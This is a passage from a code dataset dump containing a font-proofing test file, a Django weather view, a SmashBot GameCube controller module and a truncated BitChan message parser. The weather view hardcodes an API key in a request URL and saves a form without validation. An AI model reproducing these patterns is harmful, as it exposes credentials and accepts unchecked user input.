'cidfont.otf',\n 'font.otf',\n 'font.ttf',\n])\n@pytest.mark.parametrize('tool_name', [\n 'charplot',\n 'digiplot',\n 'fontplot',\n 'fontplot2',\n 'hintplot',\n 'waterfallplot',\n])\ndef test_glyphs_2_7(tool_name, font_filename):\n if 'cid' in font_filename:\n font_format = 'cid'\n elif 'ttf' in font_filename:\n font_format = 'ttf'\n else:\n font_format = 'otf'\n pdf_filename = '{}_{}_glyphs_2-7.pdf'.format(tool_name, font_format)\n font_path = _get_input_path(font_filename)\n save_path = _get_temp_file_path()\n runner(['-t', tool_name, '-o', 'o', '_{}'.format(save_path), 'g', '_2-7',\n 'dno', '=pageIncludeTitle', '_0', '-f', font_path, '-a'])\n expected_path = _get_expected_path(pdf_filename)\n assert differ([expected_path, save_path,\n '-s', '/CreationDate', '-e', 'macroman'])\n\n\n@pytest.mark.parametrize('font_filename', [\n 'cidfont_noHints.otf',\n 'cidfont_noStems.otf',\n 'cidfont_noZones.otf',\n 'font_noHints.otf',\n 'font_noStems.otf',\n 'font_noZones.otf',\n])\n@pytest.mark.parametrize('tool_name', [\n 'hintplot',\n 'waterfallplot',\n])\ndef test_hinting_data(tool_name, font_filename):\n label = _get_filename_label(font_filename)\n if 'cid' in font_filename:\n font_format = 'cid'\n elif 'ttf' in font_filename:\n font_format = 'ttf'\n else:\n font_format = 'otf'\n pdf_filename = '{}_{}{}.pdf'.format(tool_name, font_format, label)\n font_path = _get_input_path(font_filename)\n save_path = _get_temp_file_path()\n runner(['-t', tool_name, '-o', 'o', '_{}'.format(save_path), 'g', '_2-7',\n 'dno', '=pageIncludeTitle', '_0', '-f', font_path, '-a'])\n expected_path = _get_expected_path(pdf_filename)\n assert differ([expected_path, save_path,\n '-s', '/CreationDate', '-e', 'macroman'])\n\n\n@pytest.mark.parametrize('font_filename, glyphs', [\n ('cidfont.otf', '_0-5,98-101'),\n ('font.otf', '_0-2,4,5'),\n])\ndef test_fontplot2_lf_option(font_filename, glyphs):\n tool_name = 'fontplot2'\n if 'cid' in font_filename:\n font_format = 'cid'\n else:\n font_format = 'otf'\n layout_path = _get_input_path('CID_layout')\n font_path = _get_input_path(font_filename)\n pdf_filename = '{}_{}_lf_option.pdf'.format(tool_name, font_format)\n save_path = _get_temp_file_path()\n runner(['-t', tool_name, '-o', 'o', '_{}'.format(save_path), 'dno',\n 'g', glyphs, 'lf', '_{}'.format(layout_path),\n '=pageIncludeTitle', '_0', '-f', font_path, '-a'])\n expected_path = _get_expected_path(pdf_filename)\n assert differ([expected_path, save_path,\n '-s', '/CreationDate', '-e', 'macroman'])\n","sub_path":"tests/proofpdf_test.py","file_name":"proofpdf_test.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"337900933","text":"import requests\nfrom django.shortcuts import render\nfrom .models import City\nfrom .forms import CityForm\n\ndef index(request):\n\tif request.method == 'POST':\n\t\tform = CityForm(request.POST)\n\t\tform.save()\n\n\tform = CityForm()\n\n\tcities = City.objects.all()\n\tprint(cities)\n\n\tweather_data = []\n\n\tfor city in cities:\n\t\turl = 'http://api.openweathermap.org/data/2.5/weather?q='+city.name+'&units=metric&APPID=6169d48251197975732f77247af50079'\n\t\tr = requests.get(url).json()\n\t\tcity_weather = {\n\t\t\t'city' : city.name,\n\t\t\t'temperature' : r['main']['temp'],\n\t\t\t'description' : r['weather'][0]['description'],\n\t\t\t'icon' : r['weather'][0]['icon'],\n\t\t}\n\t\tweather_data.append(city_weather)\n\tcontext = {'weather_data' : weather_data, 'form' : form}\n\treturn render(request, 'weather/weather.html', context)","sub_path":"weather/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"295790830","text":"import copy\nimport serial\nimport sys\nimport time\nfrom struct import pack\n\nfrom melee import enums, logger\nfrom melee.console import Console\n\nclass ControllerState:\n \"\"\"A snapshot of the state of a virtual controller\"\"\"\n\n def __init__(self):\n self.button = dict()\n #Boolean buttons\n self.button[enums.Button.BUTTON_A] = False\n self.button[enums.Button.BUTTON_B] = False\n self.button[enums.Button.BUTTON_X] = False\n self.button[enums.Button.BUTTON_Y] = False\n self.button[enums.Button.BUTTON_Z] = False\n self.button[enums.Button.BUTTON_L] = False\n self.button[enums.Button.BUTTON_R] = False\n self.button[enums.Button.BUTTON_START] = False\n self.button[enums.Button.BUTTON_D_UP] = False\n self.button[enums.Button.BUTTON_D_DOWN] = False\n self.button[enums.Button.BUTTON_D_LEFT] = False\n self.button[enums.Button.BUTTON_D_RIGHT] = False\n #Analog sticks\n self.main_stick = (.5, .5)\n self.c_stick = (.5, .5)\n #Analog shoulders\n self.l_shoulder = 0\n self.r_shoulder = 0\n\n def toBytes(self):\n \"\"\" Serialize the controller state into an 8 byte sequence that the Gamecube uses \"\"\"\n buttons_total = 0x0080\n if self.button[enums.Button.BUTTON_A]:\n buttons_total += 0x0100\n if self.button[enums.Button.BUTTON_B]:\n buttons_total += 0x0200\n if self.button[enums.Button.BUTTON_X]:\n buttons_total += 0x0400\n if self.button[enums.Button.BUTTON_Y]:\n buttons_total += 0x0800\n if self.button[enums.Button.BUTTON_Z]:\n buttons_total += 0x1000\n if self.button[enums.Button.BUTTON_L]:\n buttons_total += 0x0002\n if self.button[enums.Button.BUTTON_R]:\n buttons_total += 0x0004\n\n buffer = pack(\">H\", buttons_total)\n\n # Convert from a float 0-1 to int 1-255\n val = pack(\">B\", (int((max(min(self.main_stick[0], 1), 0) * 254)) + 1))\n buffer += val\n val = pack(\">B\", (int((max(min(self.main_stick[1], 1), 0) * 254)) + 1))\n buffer += val\n val = pack(\">B\", (int((max(min(self.c_stick[0], 1), 0) * 254)) + 1))\n buffer += val\n val = pack(\">B\", (int((max(min(self.c_stick[1], 1), 0) * 254)) + 1))\n buffer += val\n\n # Convert from a float 0-1 to int 0-255\n # The max/min thing just ensures the value is between 0 and 1\n val = pack(\">B\", int(max(min(self.l_shoulder, 1), 0) * 255))\n buffer += val\n val = pack(\">B\", int(max(min(self.r_shoulder, 1), 0) * 255))\n buffer += val\n return buffer\n\n def __str__(self):\n string = \"\"\n for val in self.button:\n string += str(val) + \": \" + str(self.button[val])\n string += \"\\n\"\n string += \"MAIN_STICK: \" + str(self.main_stick) + \"\\n\"\n string += \"C_STICK: \" + str(self.c_stick) + \"\\n\"\n string += \"L_SHOULDER: \" + str(self.l_shoulder) + \"\\n\"\n string += \"R_SHOULDER: \" + str(self.r_shoulder) + \"\\n\"\n return string\n\nclass Controller:\n \"\"\"Utility class that manages virtual controller state and button presses\"\"\"\n\n def __init__(self, console, port, serial_device=\"/dev/ttyACM0\"):\n self._is_dolphin = console.is_dolphin\n if self._is_dolphin:\n self.pipe_path = console.get_dolphin_pipes_path(port)\n self.pipe = None\n else:\n try:\n self.tastm32 = serial.Serial(serial_device, 115200, timeout=None, rtscts=True)\n except serial.serialutil.SerialException:\n print(\"TAStm32 was not ready. It might be booting up. \" +\n \"Wait a few seconds and try again\")\n sys.exit(-1)\n\n self.prev = ControllerState()\n self.current = ControllerState()\n self.logger = console.logger\n\n def connect(self):\n \"\"\"Connect the controller to the console \"\"\"\n print(\"initiating controller connection\")\n if self._is_dolphin:\n print(\"is dolphin\")\n self.pipe = open(self.pipe_path, \"w\")\n return True\n else:\n # Remove any extra garbage that might have accumulated in the buffer\n print(\"resetting buffer\")\n self.tastm32.reset_input_buffer()\n\n # Send reset command\n self.tastm32.write(b'R')\n cmd = self.tastm32.read(2)\n if cmd != b'\\x01R':\n # TODO Better error handling logic here\n print(\"ERROR: TAStm32 did not reset properly. Try power cycling it.\")\n return False\n # Set to gamecube mode\n self.tastm32.write(b'SAG\\x80\\x00')\n cmd = self.tastm32.read(2)\n self.tastm32.reset_input_buffer()\n if cmd != b'\\x01S':\n # TODO Better error handling logic here\n print(\"ERROR: TAStm32 did not set to GCN mode. Try power cycling it.\")\n return False\n return True\n\n def disconnect(self):\n \"\"\"Disconnects the controller from the console \"\"\"\n if self._is_dolphin:\n if self.pipe:\n self.pipe.close()\n self.pipe = None\n else:\n # TODO: Tear down connection to TAStm32\n self.tastm32.close()\n pass\n\n def simple_press(self, x, y, button):\n \"\"\"Here is a simpler representation of a button press, in case\n you don't want to bother with the tedium of manually doing everything.\n It isn't capable of doing everything the normal controller press functions\n can, but probably covers most scenarios.\n Notably, a difference here is that doing a button press releases all\n other buttons pressed previously.\n Don't call this function twice in the same frame\n x = 0 (left) to 1 (right) on the main stick\n y = 0 (down) to 1 (up) on the main stick\n button = the button to press. Enter None for no button\"\"\"\n if self._is_dolphin:\n if not self.pipe:\n return\n #Tilt the main stick\n self.tilt_analog(enums.Button.BUTTON_MAIN, x, y)\n #Release the shoulders\n self.press_shoulder(enums.Button.BUTTON_L, 0)\n self.press_shoulder(enums.Button.BUTTON_R, 0)\n #Press the right button\n for item in enums.Button:\n #Don't do anything for the main or c-stick\n if item == enums.Button.BUTTON_MAIN:\n continue\n if item == enums.Button.BUTTON_C:\n continue\n #Press our button, release all others\n if item == button:\n self.press_button(item)\n else:\n self.release_button(item)\n else:\n # TODO Tastm32 button presses\n pass\n\n def press_button(self, button):\n \"\"\" Press a single button\n\n If already pressed, this has no effect\n \"\"\"\n self.current.button[button] = True\n if self._is_dolphin:\n if not self.pipe:\n return\n command = \"PRESS \" + str(button.value) + \"\\n\"\n if self.logger:\n self.logger.log(\"Buttons Pressed\", command, concat=True)\n self.pipe.write(command)\n\n def release_button(self, button):\n \"\"\" Unpress a single button\n\n If already released, this has no effect\n \"\"\"\n self.current.button[button] = False\n if self._is_dolphin:\n if not self.pipe:\n return\n command = \"RELEASE \" + str(button.value) + \"\\n\"\n if self.logger:\n self.logger.log(\"Buttons Pressed\", command, concat=True)\n self.pipe.write(command)\n\n def press_shoulder(self, button, amount):\n \"\"\" Press the analog shoulder buttons to a given amount\n\n button - Button enum. Has to be L or R\n amount - Float between 0 (not pressed at all) and 1 (Fully pressed in)\n\n Note that the 'digital' button press of L or R are handled separately\n as normal button presses. Pressing the shoulder all the way in\n will not cause the digital button to press\n \"\"\"\n if button == enums.Button.BUTTON_L:\n self.current.l_shoulder = amount\n elif button == enums.Button.BUTTON_R:\n self.current.r_shoulder = amount\n if self._is_dolphin:\n if not self.pipe:\n return\n command = \"SET \" + str(button.value) + \" \" + str(amount) + \"\\n\"\n if self.logger:\n self.logger.log(\"Buttons Pressed\", command, concat=True)\n self.pipe.write(command)\n\n def tilt_analog(self, button, x, y):\n \"\"\" Tilt one of the analog sticks to a given (x,y) value\n\n button - Button enum. Must be main stick or C stick\n x - Float between 0 (left) and 1 (right)\n y - Float between 0 (down) and 1 (up)\n \"\"\"\n if button == enums.Button.BUTTON_MAIN:\n self.current.main_stick = (x, y)\n else:\n self.current.c_stick = (x, y)\n if self._is_dolphin:\n if not self.pipe:\n return\n command = \"SET \" + str(button.value) + \" \" + str(x) + \" \" + str(y) + \"\\n\"\n if self.logger:\n self.logger.log(\"Buttons Pressed\", command, concat=True)\n self.pipe.write(command)\n\n def empty_input(self):\n \"\"\" Helper function to reset the controller to a resting state\n\n All buttons are released, all sticks set to 0.5\n \"\"\"\n #Set the internal state back to neutral\n self.current.button[enums.Button.BUTTON_A] = False\n self.current.button[enums.Button.BUTTON_B] = False\n self.current.button[enums.Button.BUTTON_X] = False\n self.current.button[enums.Button.BUTTON_Y] = False\n self.current.button[enums.Button.BUTTON_Z] = False\n self.current.button[enums.Button.BUTTON_L] = False\n self.current.button[enums.Button.BUTTON_R] = False\n self.current.button[enums.Button.BUTTON_START] = False\n self.current.button[enums.Button.BUTTON_D_UP] = False\n self.current.button[enums.Button.BUTTON_D_DOWN] = False\n self.current.button[enums.Button.BUTTON_D_LEFT] = False\n self.current.button[enums.Button.BUTTON_D_RIGHT] = False\n self.current.main_stick = (.5, .5)\n self.current.c_stick = (.5, .5)\n self.current.l_shoulder = 0\n self.current.r_shoulder = 0\n if self._is_dolphin:\n if not self.pipe:\n return\n command = \"RELEASE A\" + \"\\n\"\n command += \"RELEASE B\" + \"\\n\"\n command += \"RELEASE X\" + \"\\n\"\n command += \"RELEASE Y\" + \"\\n\"\n command += \"RELEASE Z\" + \"\\n\"\n command += \"RELEASE L\" + \"\\n\"\n command += \"RELEASE R\" + \"\\n\"\n command += \"RELEASE START\" + \"\\n\"\n command += \"RELEASE D_UP\" + \"\\n\"\n command += \"RELEASE D_DOWN\" + \"\\n\"\n command += \"RELEASE D_LEFT\" + \"\\n\"\n command += \"RELEASE D_RIGHT\" + \"\\n\"\n command += \"SET MAIN .5 .5\" + \"\\n\"\n command += \"SET C .5 .5\" + \"\\n\"\n command += \"SET L 0\" + \"\\n\"\n command += \"SET R 0\" + \"\\n\"\n #Send the presses to dolphin\n self.pipe.write(command)\n if self.logger:\n self.logger.log(\"Buttons Pressed\", \"Empty Input\", concat=True)\n\n def flush(self):\n \"\"\" Actually send the button presses to the console\n\n Up until this point, any buttons you 'press' are just queued in a pipe.\n It doesn't get sent to the console until you flush\n \"\"\"\n if self._is_dolphin:\n if not self.pipe:\n return\n self.pipe.flush()\n # Move the current controller state into the previous one\n self.prev = copy.copy(self.current)\n else:\n # Command for \"send single controller poll\" is 'A'\n # Serialize controller state into bytes and send\n self.tastm32.write(b'A' + self.current.toBytes())\n start = time.time()\n cmd = self.tastm32.read(1)\n\n if cmd != b'A':\n print(\"Got error response: \", bytes(cmd))\n","sub_path":"smashbot/melee/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":12437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"397783171","text":"import base64\nimport hashlib\nimport html\nimport json\nimport logging\nimport os\nimport random\nimport time\nimport zipfile\nfrom io import BytesIO\nfrom urllib.parse import urlparse\n\nimport bleach\nfrom PIL import Image\nfrom sqlalchemy import and_\n\nimport config\nfrom bitchan_client import DaemonCom\nfrom database.models import Chan\nfrom database.models import Command\nfrom database.models import GlobalSettings\nfrom database.models import Messages\nfrom database.models import Threads\nfrom database.utils import session_scope\nfrom utils.cards import generate_card\nfrom utils.download import download_and_extract\nfrom utils.download import process_attachments\nfrom utils.encryption import crypto_multi_decrypt\nfrom utils.files import LF\nfrom utils.files import count_files_in_zip\nfrom utils.files import delete_file\nfrom utils.files import delete_files_recursive\nfrom utils.files import extract_zip\nfrom utils.files import generate_thumbnail\nfrom utils.gateway import api\nfrom utils.gateway import chan_auto_clears_and_message_too_old\nfrom utils.gateway import delete_and_replace_comment\nfrom utils.gateway import log_age_and_expiration\nfrom utils.general import get_random_alphanumeric_string\nfrom utils.general import get_thread_id\nfrom utils.general import process_passphrase\nfrom utils.message_admin_command import admin_ban_address_from_board\nfrom utils.message_admin_command import admin_delete_from_board\nfrom utils.message_admin_command import admin_delete_from_board_with_comment\nfrom utils.message_admin_command import admin_set_options\nfrom utils.message_admin_command import admin_set_thread_options\nfrom utils.message_summary import generate_reply_link_html\nfrom utils.message_summary import get_post_id\nfrom utils.posts import process_message_replies\nfrom utils.shared import get_access\nfrom utils.shared import get_msg_expires_time\n\nDB_PATH = 'sqlite:///' + config.DATABASE_BITCHAN\n\nlogger = logging.getLogger('bitchan.parse')\ndaemon_com = DaemonCom()\n\n\ndef parse_message(message_id, json_obj):\n file_decoded = None\n file_filename = None\n file_url_type = None\n file_url = None\n file_upload_settings = None\n file_extracts_start_base64 = None\n file_size = None\n file_amount = None\n file_sha256_hash = None\n file_enc_cipher = None\n file_enc_key_bytes = None\n file_enc_password = None\n file_sha256_hashes_match = False\n file_download_successful = False\n file_order = None\n file_progress = None\n media_info = {}\n upload_filename = None\n saved_file_filename = None\n saved_image_thumb_filename = None\n image1_spoiler = None\n image2_spoiler = None\n image3_spoiler = None\n image4_spoiler = None\n op_sha256_hash = None\n sage = None\n message = None\n nation = None\n nation_base64 = None\n nation_name = None\n message_steg = {}\n file_do_not_download = False\n file_path = None\n\n dict_msg = json_obj['message_decrypted']\n\n # SHA256 hash of the original encrypted message payload to identify the OP of the thread.\n # Each reply must identify the thread it's replying to by supplying the OP hash.\n # If the OP hash doesn't exist, a new thread is created.\n # This prevents OP hijacking by impersonating an OP with an earlier send timestamp.\n message_sha256_hash = hashlib.sha256(json.dumps(json_obj['message']).encode('utf-8')).hexdigest()\n # logger.info(\"Message SHA256: {}\".format(message_sha256_hash))\n\n # Check if message properly formatted, delete if not.\n if \"subject\" not in dict_msg or not dict_msg[\"subject\"]:\n logger.error(\n \"{}: Message missing required subject. Deleting.\".format(message_id[-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(message_id)\n return\n else:\n subject = html.escape(base64.b64decode(dict_msg[\"subject\"]).decode('utf-8')).strip()\n if len(base64.b64decode(dict_msg[\"subject\"]).decode('utf-8')) > 64:\n logger.error(\"{}: Subject too large. Deleting\".format(message_id[-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(message_id)\n return\n\n if \"version\" not in dict_msg or not dict_msg[\"version\"]:\n logger.error(\"{}: Message has no version. Deleting.\".format(message_id[-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(message_id)\n return\n else:\n version = dict_msg[\"version\"]\n\n # logger.info(\"dict_msg: {}\".format(dict_msg))\n\n # Determine if message indicates if it's OP or not\n if \"is_op\" in dict_msg and dict_msg[\"is_op\"]:\n is_op = dict_msg[\"is_op\"]\n else:\n is_op = False\n if \"sage\" in dict_msg and dict_msg[\"sage\"]:\n sage = True\n\n # Determine if message indicates if it's a reply to an OP by supplying OP hash\n if \"op_sha256_hash\" in dict_msg and dict_msg[\"op_sha256_hash\"]:\n op_sha256_hash = dict_msg[\"op_sha256_hash\"]\n\n # Determine if message is an OP or a reply\n if is_op:\n thread_id = get_thread_id(message_sha256_hash)\n elif op_sha256_hash:\n thread_id = get_thread_id(op_sha256_hash)\n else:\n logger.error(\"{}: Message neither OP nor reply: Deleting.\".format(message_id[-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(message_id)\n return\n\n # Now that the thread_is id determined, check if there exists an Admin command\n # instructing the deletion of the thread/message\n with session_scope(DB_PATH) as new_session:\n admin_post_delete = new_session.query(Command).filter(and_(\n Command.action == \"delete\",\n Command.action_type == \"post\",\n Command.chan_address == json_obj['toAddress'],\n Command.thread_id == thread_id,\n Command.message_id == message_id)).first()\n\n admin_thread_delete = new_session.query(Command).filter(and_(\n Command.action == \"delete\",\n Command.action_type == \"thread\",\n Command.chan_address == json_obj['toAddress'],\n Command.thread_id == thread_id)).first()\n\n if admin_post_delete or admin_thread_delete:\n logger.error(\"{}: Admin deleted this post or thread\".format(message_id[-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(message_id)\n return\n\n if (\"timestamp_utc\" in dict_msg and dict_msg[\"timestamp_utc\"] and\n isinstance(dict_msg[\"timestamp_utc\"], int)):\n timestamp_sent = dict_msg[\"timestamp_utc\"]\n else:\n timestamp_sent = int(json_obj['receivedTime'])\n\n log_age_and_expiration(\n message_id,\n daemon_com.get_utc(),\n timestamp_sent,\n get_msg_expires_time(message_id))\n\n # Check if board is set to automatically clear and message is older than the last clearing\n if chan_auto_clears_and_message_too_old(json_obj['toAddress'], timestamp_sent):\n logger.info(\"{}: Message outside current auto clear period. Deleting.\".format(\n message_id[-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(message_id)\n return\n\n if \"message\" in dict_msg and dict_msg[\"message\"]:\n message = dict_msg[\"message\"]\n if \"file_filename\" in dict_msg and dict_msg[\"file_filename\"]:\n file_filename = dict_msg[\"file_filename\"]\n logger.info(\n \"{} Filename on post: {}\".format(message_id[-config.ID_LENGTH:].upper(), dict_msg[\"file_filename\"]))\n if \"image1_spoiler\" in dict_msg and dict_msg[\"image1_spoiler\"]:\n image1_spoiler = dict_msg[\"image1_spoiler\"]\n if \"image2_spoiler\" in dict_msg and dict_msg[\"image2_spoiler\"]:\n image2_spoiler = dict_msg[\"image2_spoiler\"]\n if \"image3_spoiler\" in dict_msg and dict_msg[\"image3_spoiler\"]:\n image3_spoiler = dict_msg[\"image3_spoiler\"]\n if \"image4_spoiler\" in dict_msg and dict_msg[\"image4_spoiler\"]:\n image4_spoiler = dict_msg[\"image4_spoiler\"]\n if \"upload_filename\" in dict_msg and dict_msg[\"upload_filename\"]:\n upload_filename = dict_msg[\"upload_filename\"]\n if \"file_size\" in dict_msg and dict_msg[\"file_size\"]:\n file_size = dict_msg[\"file_size\"]\n if \"file_amount\" in dict_msg and dict_msg[\"file_amount\"]:\n file_amount = dict_msg[\"file_amount\"]\n if \"file_url\" in dict_msg and dict_msg[\"file_url\"]:\n file_url = dict_msg[\"file_url\"]\n if \"file_url_type\" in dict_msg and dict_msg[\"file_url_type\"]:\n file_url_type = dict_msg[\"file_url_type\"]\n if \"file_upload_settings\" in dict_msg and dict_msg[\"file_upload_settings\"]:\n file_upload_settings = dict_msg[\"file_upload_settings\"]\n if \"file_extracts_start_base64\" in dict_msg and dict_msg[\"file_extracts_start_base64\"] is not None:\n file_extracts_start_base64 = json.loads(dict_msg[\"file_extracts_start_base64\"])\n if \"file_base64\" in dict_msg and dict_msg[\"file_base64\"] is not None:\n try:\n file_decoded = base64.b64decode(dict_msg[\"file_base64\"])\n file_size = len(file_decoded)\n except Exception as err:\n logger.exception(\n \"{}: Exception decoding attachments: {}\".format(\n message_id[-config.ID_LENGTH:].upper(), err))\n if \"file_sha256_hash\" in dict_msg and dict_msg[\"file_sha256_hash\"]:\n file_sha256_hash = dict_msg[\"file_sha256_hash\"]\n if \"file_enc_cipher\" in dict_msg and dict_msg[\"file_enc_cipher\"]:\n file_enc_cipher = dict_msg[\"file_enc_cipher\"]\n if \"file_enc_key_bytes\" in dict_msg and dict_msg[\"file_enc_key_bytes\"]:\n file_enc_key_bytes = dict_msg[\"file_enc_key_bytes\"]\n if \"file_enc_password\" in dict_msg and dict_msg[\"file_enc_password\"]:\n file_enc_password = dict_msg[\"file_enc_password\"]\n if \"file_order\" in dict_msg and dict_msg[\"file_order\"]:\n file_order = dict_msg[\"file_order\"]\n\n if \"nation\" in dict_msg and dict_msg[\"nation\"]:\n nation = dict_msg[\"nation\"]\n if \"nation_base64\" in dict_msg and dict_msg[\"nation_base64\"]:\n nation_base64 = dict_msg[\"nation_base64\"]\n if \"nation_name\" in dict_msg and dict_msg[\"nation_name\"]:\n nation_name = dict_msg[\"nation_name\"]\n\n if ((file_amount and file_amount > 4) or\n (file_order and len(file_order) > 4)):\n logger.error(\n \"{}: More than 4 files found in message. Deleting.\".format(\n message_id[-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(message_id)\n return\n\n if nation_base64:\n flag_pass = True\n try:\n flag = Image.open(BytesIO(base64.b64decode(nation_base64)))\n flag_width, flag_height = flag.size\n if flag_width > config.FLAG_MAX_WIDTH or flag_height > config.FLAG_MAX_HEIGHT:\n flag_pass = False\n logger.error(\n \"Flag dimensions is too large (max 25x15): {}x{}\".format(\n flag_width, flag_height))\n if len(base64.b64decode(nation_base64)) > config.FLAG_MAX_SIZE:\n flag_pass = False\n logger.error(\n \"Flag file size is too large: {}. Must be less than or equal to 3500 bytes.\".format(\n len(base64.b64decode(nation_base64))))\n except:\n flag_pass = False\n logger.error(\"Error attempting to open flag image\")\n\n if not nation_name:\n flag_pass = False\n logger.error(\"{}: Flag name not found\".format(\n message_id[-config.ID_LENGTH:].upper()))\n elif len(nation_name) > 64:\n flag_pass = False\n logger.error(\"{}: Flag name too long: {}\".format(\n message_id[-config.ID_LENGTH:].upper(), nation_name))\n\n if not flag_pass:\n logger.error(\n \"{}: Base64 flag didn't pass validation. Deleting.\".format(\n message_id[-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(message_id)\n return\n\n if file_url or file_decoded:\n save_dir = \"{}/{}\".format(config.FILE_DIRECTORY, message_id)\n try:\n os.mkdir(save_dir)\n except:\n pass\n saved_file_filename = \"{}.zip\".format(message_id)\n file_path = \"{}/{}\".format(config.FILE_DIRECTORY, saved_file_filename)\n\n if file_url:\n # Create dir to extract files into\n logger.info(\"{}: Filename on disk: {}\".format(\n message_id[-config.ID_LENGTH:].upper(), saved_file_filename))\n\n if os.path.exists(file_path) and os.path.getsize(file_path) != 0:\n logger.info(\"{}: Downloaded zip file found. Not attempting to download.\".format(\n message_id[-config.ID_LENGTH:].upper()))\n file_size_test = os.path.getsize(file_path)\n file_download_successful = True\n extract_zip(message_id, file_path, save_dir)\n else:\n logger.info(\n \"{}: File not found. Attempting to download.\".format(\n message_id[-config.ID_LENGTH:].upper()))\n logger.info(\"{}: Downloading file url: {}\".format(\n message_id[-config.ID_LENGTH:].upper(), file_url))\n\n if upload_filename and file_url_type and file_upload_settings:\n # Pick a download slot to fill (2 slots per domain)\n domain = urlparse(file_url).netloc\n lockfile1 = \"/var/lock/upload_{}_1.lock\".format(domain)\n lockfile2 = \"/var/lock/upload_{}_2.lock\".format(domain)\n\n lf = LF()\n lockfile = random.choice([lockfile1, lockfile2])\n if lf.lock_acquire(lockfile, to=600):\n try:\n (file_download_successful,\n file_size_test,\n file_amount_test,\n file_do_not_download,\n file_sha256_hashes_match,\n file_progress,\n media_info,\n message_steg) = download_and_extract(\n json_obj['toAddress'],\n message_id,\n file_url,\n file_upload_settings,\n file_extracts_start_base64,\n upload_filename,\n file_path,\n file_sha256_hash,\n file_enc_cipher,\n file_enc_key_bytes,\n file_enc_password)\n\n if file_size_test:\n file_size = file_size_test\n\n if file_amount_test:\n file_amount = file_amount_test\n finally:\n lf.lock_release(lockfile)\n\n if file_download_successful:\n for dirpath, dirnames, filenames in os.walk(save_dir):\n for f in filenames:\n fp = os.path.join(dirpath, f)\n if os.path.islink(fp): # skip symbolic links\n continue\n\n file_extension = html.escape(os.path.splitext(f)[1].split(\".\")[-1].lower())\n if not file_extension:\n logger.error(\"{}: File extension not found. Deleting.\".format(\n message_id[-config.ID_LENGTH:].upper()))\n daemon_com.trash_message(message_id)\n return\n elif len(file_extension) >= config.MAX_FILE_EXT_LENGTH:\n logger.error(\n \"{}: File extension greater than {} characters. Deleting.\".format(\n message_id[-config.ID_LENGTH:].upper(), config.MAX_FILE_EXT_LENGTH))\n daemon_com.trash_message(message_id)\n return\n if file_extension in config.FILE_EXTENSIONS_IMAGE:\n saved_image_thumb_filename = \"{}_thumb.{}\".format(message_id, file_extension)\n img_thumb_filename = \"{}/{}\".format(save_dir, saved_image_thumb_filename)\n generate_thumbnail(message_id, fp, img_thumb_filename, file_extension)\n\n # Bitmessage attachment\n if file_decoded:\n encrypted_zip = \"/tmp/{}.zip\".format(\n get_random_alphanumeric_string(12, with_punctuation=False, with_spaces=False))\n # encrypted_zip_object = BytesIO(file_decoded)\n output_file = open(encrypted_zip, 'wb')\n output_file.write(file_decoded)\n output_file.close()\n\n if file_enc_cipher == \"NONE\":\n logger.info(\"{}: File not encrypted\".format(message_id[-config.ID_LENGTH:].upper()))\n decrypted_zip = encrypted_zip\n elif file_enc_password:\n # decrypt file\n decrypted_zip = \"/tmp/{}.zip\".format(\n get_random_alphanumeric_string(12, with_punctuation=False, with_spaces=False))\n delete_file(decrypted_zip) # make sure no file already exists\n logger.info(\"{}: Decrypting file\".format(message_id[-config.ID_LENGTH:].upper()))\n\n try:\n with session_scope(DB_PATH) as new_session:\n settings = new_session.query(GlobalSettings).first()\n ret_crypto = crypto_multi_decrypt(\n file_enc_cipher,\n file_enc_password + config.PGP_PASSPHRASE_ATTACH,\n encrypted_zip,\n decrypted_zip,\n key_bytes=file_enc_key_bytes,\n max_size_bytes=settings.max_extract_size * 1024 * 1024)\n if not ret_crypto:\n logger.error(\"{}: Issue decrypting file\")\n return\n else:\n logger.info(\"{}: Finished decrypting file\".format(message_id[-config.ID_LENGTH:].upper()))\n\n delete_file(encrypted_zip)\n # z = zipfile.ZipFile(download_path)\n # z.setpassword(config.PGP_PASSPHRASE_ATTACH.encode())\n # z.extract(extract_filename, path=extract_path)\n except Exception:\n logger.exception(\"Error decrypting file\")\n\n # Get the number of files in the zip archive\n try:\n file_amount_test = count_files_in_zip(message_id, decrypted_zip)\n except Exception as err:\n file_amount_test = None\n logger.error(\"{}: Error checking zip: {}\".format(\n message_id[-config.ID_LENGTH:].upper(), err))\n\n if file_amount_test:\n file_amount = file_amount_test\n\n if file_amount > config.FILE_ATTACHMENTS_MAX:\n logger.info(\"{}: Number of attachments ({}) exceed the maximum ({}).\".format(\n message_id[-config.ID_LENGTH:].upper(), file_amount, config.FILE_ATTACHMENTS_MAX))\n daemon_com.trash_message(message_id)\n return\n\n # Check size of zip contents before extraction\n can_extract = True\n with zipfile.ZipFile(decrypted_zip, 'r') as zipObj:\n total_size = 0\n for each_file in zipObj.infolist():\n total_size += each_file.file_size\n logger.info(\"ZIP contents size: {}\".format(total_size))\n with session_scope(DB_PATH) as new_session:\n settings = new_session.query(GlobalSettings).first()\n if (settings.max_extract_size and\n total_size > settings.max_extract_size * 1024 * 1024):\n can_extract = False\n logger.error(\n \"ZIP content size greater than max allowed ({} bytes). \"\n \"Not extracting.\".format(settings.max_extract_size * 1024 * 1024))\n\n if can_extract:\n # Extract zip archive\n extract_path = \"{}/{}\".format(config.FILE_DIRECTORY, message_id)\n extract_zip(message_id, decrypted_zip, extract_path)\n delete_file(decrypted_zip) # Secure delete\n\n errors_files, media_info, message_steg = process_attachments(message_id, extract_path)\n\n if errors_files:\n logger.error(\n \"{}: File extension greater than {} characters. Deleting.\".format(\n message_id[-config.ID_LENGTH:].upper(), config.MAX_FILE_EXT_LENGTH))\n delete_files_recursive(extract_path)\n daemon_com.trash_message(message_id)\n return\n\n thread_locked = False\n thread_anchored = False\n owner_posting = False\n with session_scope(DB_PATH) as 